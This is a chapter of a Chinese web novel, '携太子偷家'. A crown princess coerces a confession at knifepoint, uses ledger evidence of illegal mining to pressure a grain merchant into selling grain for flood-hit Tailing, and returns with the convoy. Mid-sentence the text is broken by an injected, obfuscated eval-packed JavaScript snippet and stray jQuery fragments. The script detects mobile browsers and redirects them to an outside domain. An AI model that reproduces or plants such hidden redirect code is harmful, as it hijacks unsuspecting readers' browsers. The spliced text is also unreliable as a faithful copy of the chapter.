33. 我要买粮
作品:《携太子偷家》 冰凉的刀刃似有若无地贴着他的皮肤,曹兴不敢妄动,也不敢答,只得讨好地笑了一声。
“我不想动粗。若你还想留条命在,在这上面画押,我保你一条命。”陆云峥将刚刚在书房写就的供书扔到曹兴面前。
曹兴眼睛往下瞟着去看,一条条一句句,都往他的死穴上踩。
若他不签字画押,怕是死在当场;可若是他画了押……无论是妹婿,还是宋氏,只怕都要容不下他,纵然此时不死,也难保日后活路。
掂量一番,他拧着粗眉,豁出去似的喊道:“我没做过,如何要我画押!你这是屈、屈打成招!”他不信,就算她是太子妃,还能草菅人命吗?
陆云峥摇头:“做没做过你自己清楚。你可以不签,我也不敢杀了你,不过你可想清楚了,左右这字你签与不签,证据可都在我手里了。但如果签了,我答应过你的,不会反悔。”
她也并没有非要曹兴这张供词不可,她翻到的证据已经足够,只是以防万一,她想给自己留个后手。
曹兴颓然跌坐在地。他确实,没有别的选择了。他想嚷一嗓子,把家丁叫过来收拾这两人,可许松山的匕首紧紧贴着他,分寸未离。
他缓缓扯过那张证词,咬破手指,画上了自己的血印,扔向陆云峥。
陆云峥探手接住,折叠成小块收进袖口,对许松山点了点头。
许松山吹了声口哨,寂静的夜里哨声尖鸣,府外等候的几位前台陵军将士闻声而动,闯了进来。
“明日连府寿宴,你到连府赴宴时可不要漏了马脚。我会叫人押送你到连府,待连刺史酒醉时,你带上你妹妹悄悄出府,他们会送你到安全的地方。”陆云峥想想,又威胁道:“若是没带上你妹妹,你就别从连府出来了。”
先前范益和她都以为,曹兴横行霸道的底气是与连海戈的姻亲。可那日连海戈带着曹兴上殿面圣,显然已经做好了牺牲他的准备,怎么可能再重用他?可曹兴被削职后,仍被委以到嵖山去看管矿业的重任。现在想来,曹兴的靠山从一开始就不是连海戈,而是宋氏。
曹兴是不敢在连海戈面前说什么的,但陆云峥不忍事发后曹氏被连累,索性威胁曹兴一把,叫他把妹妹带出来,至于曹兴本人,确实也还死不得。
曹府毕竟是曹兴的地盘,万一他的家丁们发现了,陆云峥一行几人不是对手,于是几人挟持着曹兴飞速离开了曹府,赶往连府。
今日誉州城的热闹更盛昨日,连府门前停满了香车宝马,陆云峥远远地看着几位伯伯“护送”曹兴进了连府,转身对许松山道:“走吧,我们也该干活去了。”
誉州不像京城设有宵禁,可夜间经商、外出的人仍不多,日近黄昏,熙熙攘攘的主城街道也渐渐冷清起来。许松山赶在宋记粮庄打烊前一刻钟走近了粮铺,掏出一锭银子,向伙计说道:“劳驾,我要买粮。”
伙计是爽利人,也没去接银子,只问他:“您要什么品种的?听您这口音是外地来的吧?南方人?南方人您就尝尝晚粳米,应该合您口味……”
话未说完,就被许松山打断:“稻米,粟米,麦子,豆菽,有什么,我就要什么,有多少,我要多少。”
伙计的笑僵了一僵。
许松山笑笑,又把一个封着火漆的信封交给伙计:“这单若谈成了,这锭银子就归你了。把我的话和这封信交给你们宋家老爷,我在明月楼三楼包厢恭候宋老爷。”
说着,头也不回地走出了宋记粮庄。
陆云峥并没有久等,不过半个时辰,包厢的门就有了动静。她带着帏帽,坐于屏风后侧,许松山看了她写的字条,主动与来人打了招呼:“宋老爷来得真快。”
来人顿了一顿,阴沉的声音响起:“先生何人,为何不以真面目示人?”
宋老爷本不想来这一趟。
他最恨人威胁他,更何况还是这样一个不知深浅、不知身份的布衣,竟然用他倒卖私矿的账目来威胁他——是誊抄本,哪一日产了多少铜铁、哪一批铜铁流向了哪处,一条条清晰明了。
可他不得不来这一趟。
陆云峥刻意捏了嗓子:“相逢何必曾相识?鄙人有求于宋老爷,奈何人微言轻,只能以此法求见一面了。我不便露面,还请宋老爷见谅。”
宋老爷耐着性子,冷哼一声:“听伙计说,你要买粮?有多少要多少?”
“是。马上就要。”
“你这妇人好大的口气!我宋记掌中原近半数粮脉,你吞得下吗?要运往何处?”
“台陵。”
宋老爷瞳孔微缩。
“你到底是何人!”
“不过是台陵府一热心小民罢了。”陆云峥尽量让自己的声音听起来平静些,不与他兜圈子,“我无心插手宋老爷的私产,只是台陵横遭水祸,愿为故乡尽绵薄之力。我不会叫宋老爷您吃亏的,市价,再加一成。”
宋老爷默了片刻,冷笑道:“你当真以为,凭你手中那些东西,能拿捏得住我?”
“若宋老爷真觉得我手中这些玩意不重要,您也不会亲自来这一趟了不是?”
宋老爷藏在袖下的拳头微微捏紧。
陆云峥又笑道:“我要是真的想凭这事拿捏您,这会儿就不会在明月楼等您了。直接去连府,给连老爷子送一份寿礼不好吗?我是诚心诚意求购,您有利可图,还可以博个好名声,何乐而不为呢?”
锐光在宋老爷眼底一闪而过,他霍然站起,许松山紧跟着也站起来,充满了戒备。
这里是宋氏的地盘,如果他杀念起,并不是难事。
许久,宋老爷沉声道:“两成,再交出你手里的账册原本,今夜就滚出誉州。”
陆云峥心里紧绷的弦顿时松了几分。
“我要是你,不会讨要账册的原本。到这地步,原本一点都不重要。”陆云峥好心提醒他,也为了叫他放轻戒备。
都说穷寇莫追,她不能逼得太紧了,反而要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340111|178472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给他留出摆平的空间来,才能叫他动摇成事。
宋老爷一时没出声,陆云峥又道:“您是个爽快人,我也不罗嗦,两成就两成。劳宋老爷搭把手,今夜就把粮运往台陵,补个契约,我先付定金,粮到台陵,立即付讫。”
这一夜的连府歌舞升平,觥筹交错,没有人发现,城门大开,一车车粮草被运往台陵。
------
九月底的台陵也开始冷了,北下的寒气悄然而至,所幸连雾泽疏浚功成,台陵府城内高居不下两个月的水位终于下降,借着秋日并不炽热的日光,家家户户晾晒修补,好歹收拾出来一个能挡风的屋檐来。
论理两三日前才从丹阳县回来的贺珵此时应当舒口气,可他舒不了——陆云峥一声不吭地走了。
一开始是杨家的侍女来送早饭,敲了半天没人应,只当是陆云峥太累了还没起。杨家的侍女不是她的近侍,明询是男子,也不方便入内,等到日上三竿,明询才觉察到不对劲,破门而入时,早已不见陆云峥的影子了。
与陆云峥出走的消息一同传到贺珵耳中的,还有元京的诏令:着令宣抚使尽快整装,回京。
贺珵深吸了一口气,向柏言下令:“你领右卫率向誉州方向搜查,悄悄地,务必找到太子妃。连雾泽疏浚到最后关头了,我得盯着,最多一日,我回台陵府城等你消息。”
明询顿感一个头两个大:“殿下,可是陛下诏令是命您尽快回京……”
贺珵瞥他:“太子妃亦是宣抚使,宣抚使未归,如何回京?孤还未治你守卫不严之罪!”
明询向柏言投去求助的眼神。
柏言微微摇头。眼下这情形,殿下是不可能自己一人归京的,只能尽快找到陆云峥。
柏言所领右卫率不过二十人,沿路暗查陆云峥的去向,还不能随意问人摸查,谈何容易,出了台陵地界一路向东向北而行,也没发现踪迹。
宣抚使和赈灾团没有动身回京的迹象,京中又连发两道谕旨,措辞一封比一封厉急,着令宣抚团即刻回京。
明询看着在城门处张望的殿下,想了又想,正欲开口相劝,就被贺珵冰冷的眼刀刮退了。
得,他闭嘴。
忽闻马蹄声、车轱辘声由远而近传来,明询爬到护城河的石基上眯眼伸脖去看,远远地看见为首的是柏小将军,还有……柏小将军身旁那匹枣红马上的女子,虽以纱巾蒙面,可看那身形不是太子妃又是谁!
柏言路上遇到大批运往台陵的牛车马车,还有一同回城的陆云峥、许松山两人,带着浩浩荡荡的运粮大队,靠近了台陵府城城门。
“殿下,殿下!回来了!是娘娘回来了!”明询此刻的心情怕是比贺珵还要激动,总算看到人平安回来,可惜乐极生悲,他忘了自己爬到石基上,兴奋之下蹦了一下,摔下了石基,还好,没掉进护城河。
贺珵不由往外疾行几步,确认真的是陆云峥安全归来,又在来人迫近之前停下脚步。